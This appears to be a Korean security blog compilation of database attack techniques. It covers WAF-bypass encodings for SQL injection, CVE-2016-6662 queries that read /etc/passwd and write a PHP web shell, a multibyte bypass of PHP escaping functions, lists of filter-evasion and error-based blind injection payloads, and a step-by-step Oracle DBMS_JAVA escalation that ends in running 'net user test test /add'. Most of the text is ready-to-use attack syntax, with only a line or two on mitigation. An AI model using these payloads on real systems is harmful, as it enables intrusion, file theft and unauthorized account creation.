일반적으로 알려지지 않은  SQLi 우회 패턴이라 대부분의 방화벽 정책에 포함되어 있지 않은 방법이다. 

a를 0x61로 나타내는 hex표기법은 많이 알려져 있는 패턴이라 정책에 걸리는 경우가 많다.

하지만 같은 a를 binary(이진수)로 나타낸 0b01100001는 일반적으로 익숙하지 않은 표기법이다. 

mysql에서 select 0b0110001;을 입력하면 다음과 같이 a를 반환한다.


0b01100001이라는 수는 다음과 같은 방법으로 변환 가능하다.
(binary를 나타낼때는 ascii 값을 이진수로 변환하면됨)
알파벳
ascii
binary
a
97
0b01100001

이를 이용해서 원하는 쿼리를 삽입하는 것이 가능한데 
예를 들어, 경로를 표현하는 경우 c:\test.txt라는 파일경로를 삽입하고 싶은 경우, 
0b0110001100111010010111000111010001100101011110000111010000101110011101000111100001110100를 입력하면 된다.

** 변환시 https://www.binaryhexconverter.com/ascii-text-to-binary-converter를 사용하면 쉽게 변환이 가능하다!


참고 URL


개요

- MySQL에서 원격에서 루트 권한으로 코드를 실행하거나 원격 시스템 파일을 다운로드할 수 있는 취약점(CVE-2016-6662)
- MySQL 기본 설치로 사용하는 로깅 기능을 악용해 MySQL 설정 파일(my.cnf)에 악의적인 설정을 주입하여 원격 및 권한 상승(루트 권한) 공격이 가능한 취약점
- SQL Injection 취약점과 함께 사용할 경우 MySQL 서버를 손상시킬 수 있음
- DB서버가 재부팅되는 경우부터 적용

※ 취약한 버전


※ 공격 구문

  • Load_file() 함수 이용
    • select * from member  union select null, null, null, null, load_file('/etc/passwd');
    • select * from member  union select null, null, null, null, load_file(0x2f6574632f7061737764);
    • select * from member  union select null, null, null, null, load_file(char(47,101,116,99,47,112,97,115,115,119,100));

  • 웹쉘만들기
    • select * from member  union select null, null, null, null, "<? system($_REQUEST['cmd']); ?>" into outfile '/var/www/html/cmd.php';
                                -> mysql 사용자가 /var/www/html디렉터리에 접근권한이 없어 생성 불가

  • 설정파일 덮어쓰기(into outfile)
    • select * into outfile '/etc/my.cnf';


참고 URL

  • http://www.securiteam.com/unixfocus/6X00P0ANFM.html
  • http://pjongy.tistory.com/131
  • http://rootable.tistory.com/entry/addslashes-mysqlrealescapestring-%EC%9A%B0%ED%9A%8C

개요

magic_quotes_gpc 란? 

- php에서 사용되는 설정값으로 값을 입력 받을 때 필터링이 필요한 문자 앞에 백슬래시(\)를 붙임
- 기본적으로 php.ini 파일에 ON으로 설정되어 있음
- GET, POST, COOKIE 데이터 내 해당 문자가 있을 경우 필터링하여 반환함.
addslashes()와 동일 

' (싱글쿼터)
\'
" (더블쿼터)
\"
\ (백슬래시)
\\
NULL (널바이트)
\

mysql_real_escape_string() 란?

- php 내장 함수로 SQL Injection을 방어하기 위해 사용됨
- DB로 전달되는 파라미터에 필터링이 필요한 문자가 입력된 경우 이스케이프 문자(백슬래시, \)를 붙여 공격을 방어
- 위의 magic_quotes_gpc와 비슷하지만 더 많은 문자열 치환

' (싱글쿼터)
\'
" (더블쿼터)
\"
\ (백슬래시)
\\
\x00 (널바이트)
\\x00
\n (line feed )
\\n
\r (carriage return)
\r
\x1a (EOF)
\\x1a


우회

원리
  • 멀티바이트를 사용하는 언어셋 환경에서는 백슬래시(\) 앞에 %a1 ~ %fe 와 같은 값을 입력하면 %a1\를 하나의 문자로 취급함
  • 따라서, 백슬래시(\)가 사라지므로 이스케이프 처리가 되지 않아 공격자의 의도대로 SQL Injection 등의 공격이 가능해짐

예 시
입력값
magic_quotes_gpc / mysql_real_escape_string()
결과값
%aa' or 1=1#
%aa\' or 1=1#
�' or 1=1#


** 이 포스팅은 추후에 필터링 패턴 발견 시 계속 추가할 예정임

1. substr 우회
   ord, right, left, mid 사용
   (ex) substr('admin',1,1) = 'a'   → left('admin',1) 

2. ascii 우회
   ord, hex 사용
   (ex) ord('admin')=97    ord()는 가장 왼쪽의 문자를 아스키코드 10진수로 전환    

3. =, like, or, and 우회
  =    like, between, in, instr 
 !=  →  <>
  or    ||  (%7c%7c)
  and    && (%26%26)

4. 빈칸(공백) 우회
  ' '    ( ), /**/, %09, %0a, %0b, %0c, %0d, %a0, +, %20, 
  주석(-- -, #)    ;%00

5. ' (싱글쿼터) 우회
  '     %27, char, " (더블쿼터)

6. ereg, eregi 우회  : case-sensitive
  - 특수문자  %00(널바이트) : %00(널바이트)까지 패턴 검색
  - 문자열  대소문자 변경

7. preg_match 우회
 \ 

TIP

  • 영어가 아닌 문자 Blind-Injection 시, 한글자 당 바이트 추출: length(mid(pw,1,1))=4
  • error based SQL Injection
    •  ' or id='admin' and if((select id='admin' and length(pw)=16),true,(select 1 union select 2))#
    •  ' or id='admin'&&power((length(pw)>10)+1,999999999999999999)#

참조 URL

  • 여러 우회패턴 정리 : http://blog.daum.net/bada0217/149
  • 워게임 사이트 - 여러 우회패턴을 익히는데 유용 : http://los.eagle-jump.org


권한 상승 과정

전제조건 및 NOTE
  • 다음의 명령어를 실행시킬 DB 사용자가 최소한 JAVA_ADMIN과 CREATE PROCEDURE 권한을 가지고 있어야함 (DBA 권한 가지고 있으면 가능)
  • ORACLE 8i 이상에서만 실행 가능
  • Oracle Express Edition에서도 실행 불가 (DBMA_JAVA 기능이 없음)

  • 새로운 사용자를 생성해서 다음의 과정을 실행하는 경우, 각각의 명령어에 대한 삭제 과정은 필요없이 DROP USER TESTEST(계정명) cascade; 하면 전부 삭제 가능
  • 각 명령어 실행시 '/' 가 있어야 명령어 종료 및 실행 가능

상세 과정 및 설명
0) 사용자의 권한 확인
    - select * from DBA_SYS_PRIVS where grantee='testest';
    - select * from DBA_JAVA_POLICY where grantee='testest';

1) PL / SQL 사용하여 권한 설정 변경   ** JAVA_ADMIN권한 없으면 사용 불가 (DBMS_JAVA package에 대한 권한 부여가 가능한 권한)
  • DBMS_JAVA 사용관련 권한 설명 -  https://www.experts-exchange.com/questions/24604377/dbms-java-grant-permission-has-errors.html 

            ※  DBA 권한 부여  => GRANT DBA TO TESTEST(USER); -> 권한 확인 시 UNLIMITED TABLESPACE 권한 존재

 ※ JAVA_ADMIN 권한 부여 => GRANT JAVA_ADMIN TO TESTEST(USER);


** TESTEST에는 사용자 계정 입력
DECLARE
  l_schema VARCHAR2(30) := 'TESTEST';
BEGIN
  DBMS_JAVA.grant_permission(l_schema, 'java.io.FilePermission', '<<ALL FILES>>', 'read ,write, execute, delete');
  DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
  DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
END;
/

https://docs.oracle.com/javase/7/docs/api/java/io/FilePermission.html
https://docs.oracle.com/javase/7/docs/api/java/lang/RuntimePermission.html

** CMD 명령어 실행만을 원하는 경우,  
DBMS_JAVA.grant_permission(l_schema, 'java.io.FilePermission', '<<ALL FILES>>', 'execute'); 권한만!! (다른권한 필요x)

  • 명령어 정상 적용 확인
        - SELECT * FROM dba_java_policy;
        - SELECT * FROM dba_java_policy where grantee='TESTEST';

  • 공격 종료 후 부여한 권한 삭제 (**괄호 안 숫자는 SEQ# (KEY));
BEGIN
  DBMS_JAVA.disable_permission(191);
  DBMS_JAVA.delete_permission(191);
  DBMS_JAVA.disable_permission(192);
  DBMS_JAVA.delete_permission(192);
  DBMS_JAVA.disable_permission(193);
  DBMS_JAVA.delete_permission(193);
END;
/

2) 오라클에서 제공하는 "Java SOURCE"기능을 사용하여 JAVA클래스 생성 
** CREATE PROCEDURE 권한 필요!  / 다른사용자의 스키마 수정을 원하면 CREATE ANY PROCEDURE 권한 필요
------------------------------------------------------------------------------------------------------------------------
PL/SQL에서 자바(Java) 클래스(Class), 함수 실행방법
오라클에서 제공하는 "Java SOURCE"기능을 사용하여 JAVA클래스 생성, 실행이 가능함
-> JAVA클래스 생성 코드

** REPLACE는 원래 있는 코드를 대체하는 것이므로 처음 생성시에 굳이 없어도 됨.
-----------------------------------------------------------------------------------------------------------------------
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "mycmd" AS
import java.lang.*;
import java.io.*;
public class mycmd
{
public static void execCommand (String command) throws IOException
{
     Runtime.getRuntime().exec(command);
}
};
/

  • 생성 코드 확인
            - 아래 쿼리 실행하면 생성한 object_name 존재 -> select object_name, object_id from user_objects;
                                                                                        -> SELECT * FROM all_source;
                                                                                        -> SELECT * FROM all_source where name='mycmd'

            - 자신의 자바 스키마 object 생성확인 (create Java source로 생성한것) --> SELECT * FROM USER_SOURCE where type='JAVA SOURCE' ;

  • 공격 종료 후 생성한 코드 삭제
        - DROP JAVA SOURCE 'mycmd'; 

3) 프로시저 생성
--------------------------------------------------------------------------------------------------------------------------------
생성한 자바 클래스를 DB에서 실행할수 있는 방법 (함수로드 가능)
-> 프로시저에 run_cmd 생성
--------------------------------------------------------------------------------------------------------------------------------
CREATE OR REPLACE PROCEDURE run_cmd (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'mycmd.execCommand (java.lang.String)';
/

  • 공격 종료 후 생성한 프로시저 삭제
        - DROP PROCEDURE RUN_CMD;

4) 명령어 실행!!
  • exec run_cmd('net user test test /add');


대응책
  • DB 운영 계정에게 DBA 권한을 부여하지 않는다.
  • 사용자에게 꼭 필요한 최소 권한만을 부여!!

참고 URL
  • https://www.adampalmer.me/iodigitalsec/2013/08/12/first-steps-in-oracle-penetration-testing/
  • DBMS_JAVA 설명: http://www.dba-oracle.com/t_packages_dbms_java.htm


+ Recent posts